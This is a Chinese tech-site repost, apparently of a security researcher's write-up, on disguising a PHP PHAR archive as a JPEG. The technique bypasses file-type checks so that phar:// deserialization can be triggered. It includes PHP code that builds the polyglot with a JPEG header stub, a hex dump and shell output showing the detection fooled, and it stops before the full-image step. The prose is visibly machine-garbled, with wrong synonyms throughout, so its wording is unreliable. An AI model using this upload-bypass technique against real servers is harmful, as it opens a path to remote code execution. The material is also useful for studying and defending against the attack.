加入收藏 | 设为首页 | 会员中心 | 我要投稿 湖南网 (https://www.hunanwang.cn/)- 科技、建站、经验、云计算、5G、大数据,站长网!
当前位置: 首页 > 业界 > 正文

怎样将Phar文件包转化成图像从而绕过文件范例检测

发布时间:2018-10-20 05:48:07 所属栏目:业界 来源:lucywang
导读:在美国举行的BlackHat 2018大会上,已经有白帽黑客证明可以从PHAR包得到RCE,并且,通过调解其二进制内容,可以将其伪装成完备的有用图像,绕过安详搜查。 配景 在美国举行的BlackHat 2018时代,来自英国收集安详公司Secarma的研究总监Sam Thomas召开了一
副问题[/!--empirenews.page--]

在美国举行的BlackHat 2018大会上,已经有白帽黑客证明可以从PHAR包得到RCE,并且,通过调解其二进制内容,可以将其伪装成完备的有用图像,绕过安详搜查。

怎样将Phar文件包转化成图像从而绕过文件范例检测

配景

在美国举行的BlackHat 2018时代,来自英国收集安详公司Secarma的研究总监Sam Thomas召开了一个关于在PHP中操作phar://流包装器(stream wrapper)在处事器上执行代码执行的集会会议。

一个PHP应用措施每每是由多个文件组成的,假如能把他们齐集为一个文件来分发和运行是很利便的,这样的列子有许多,好比在window操纵体系上面的安装措施、一个jquery库等等,为了做到这点PHP回收了PHAR文档文件名目,这个观念源自java的jar,可是在计划时首要针对PHP的Web情形,与JAR归档差异的是PHAR归档可由PHP自己处理赏罚,因此不必要行使特另外器材来建设或行使,行使PHP剧本就能建设或提取它。PHAR是一个合成词,由PHP和Archive组成,可以看出它是PHP归档文件的意思。

在执行PHAR包时,PHP将反序列化其内容,应承进攻者启动PHP工具包括链。个中最风趣的部门是怎样触发有用载荷,由于归档上的任何文件操纵都将执行它。最后,不必要揣摩正确的文件名,由于纵然失败的文件挪用也必要PHP来反序列化内容。

其它,完全可以将PHAR包伪装成100%有用的图像。

在这篇文章中,我将先容伪装的具体进程。

降级至字节码级别

偶然我们会健忘文件只是遵循预界说布局的一堆字节,但应用措施将搜查它们是否可以或许打点这样的数据流,假如能,它们将天生一个输出。

在演讲中,Thomas给出了一个关于怎样建设具有有用JPEG标头的PHAR包的提醒。

怎样将Phar文件包转化成图像从而绕过文件范例检测

按着提醒,我们要做的是建设一个具有JPEG标头的文件,并响应的更新PHAR校验和。通过这种方法,文件将被视为一个图像,但PHP还可以或许执行它。

假如你以为变动几个字节并更新校验和就可以轻松完成操纵,那你就想得太简朴了。

计较校验和(至少对我来说)是件疾苦的工作,然后我就想,假如我让PHP为我做这些事变呢?

以是我改编了Thomas在演讲中提到的做法,如下所示。

  1. <?phpclass TestObject {} 
  2.  
  3. $phar = new Phar("phar.phar"); 
  4. $phar->startBuffering(); 
  5. $phar->addFromString("test.txt","test"); 
  6. $phar->setStub("xFFxD8xFFxFEx13xFAx78x74 __HALT_COMPILER(); ?>"); 
  7. $o = new TestObject(); 
  8. $phar->setMetadata($o); 
  9. $phar->stopBuffering(); 

如你所见,我将原始HEX字节添加到PHAR归档的存根部门。以下就是原HEX功效:

  1. tampe125@AlphaCentauri:~$ xxd phar.jpeg  
  2. 00000000: ffd8 fffe 13fa 7874 205f 5f48 414c 545f  ......xt __HALT_ 
  3. 00000010: 434f 4d50 494c 4552 2829 3b20 3f3e 0d0a  COMPILER(); ?>.. 
  4. 00000020: 4c00 0000 0100 0000 1100 0000 0100 0000  L............... 
  5. 00000030: 0000 1600 0000 4f3a 3130 3a22 5465 7374  ......O:10:"Test 
  6. 00000040: 4f62 6a65 6374 223a 303a 7b7d 0800 0000  Object":0:{}.... 
  7. 00000050: 7465 7374 2e74 7874 0400 0000 177e 7a5b  test.txt.....~z[ 
  8. 00000060: 0400 0000 0c7e 7fd8 b601 0000 0000 0000  .....~.......... 
  9. 00000070: 7465 7374 6f9e d6c6 7d3f ffaa 7bc8 35ea  testo...}?..{.5. 
  10. 00000080: bfb5 ecb8 7294 2692 0200 0000 4742 4d42  ....r.&.....GBMB 

它是一个有用的PHAR和JPEG图像吗?

  1. tampe125@AlphaCentauri:~$ file phar.jpeg  
  2. phar.jpeg: JPEG image data 
  3. tampe125@AlphaCentauri:~$ php -a 
  4. php > var_dump(mime_content_type('phar.jpeg')); 
  5. php shell code:1: 
  6. string(10) "image/jpeg"php > var_dump(file_exists('phar://phar.jpeg/test.txt')); 
  7. php shell code:1: 
  8. bool(true) 

PHP将其辨认为图像,但我如故可以看到归档上的内容。

请查察存根部门并留意它是怎样穷乏开始的PHP标志的。这是大大都内容扫描器都无法看到的要害内容。要使归档有用,惟一必要的是__HALT_COMPILER()函数,我以为这被PHP用来暗示它应该跳过几多数据。

我有一个文件,它可以通过任何基于文件标头的搜查,然而任何比它更伟大的搜查城市失败。譬喻,行使getimagesize搜查图像将返回false,由于图像一定是伪造的。

  1. tampe125@AlphaCentauri:~$ php -a 
  2. php > var_dump(getimagesize('phar.jpeg')); 
  3. php shell code:1: 
  4. bool(false) 

办理图像是伪造的题目?

但我看到我可以在__HALT_COMPILER()标志之前插入我想要的任何乱码,试想,假如我用它来建造完备的图像,会怎么样呢?

(编辑:湖南网)

【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!

热点阅读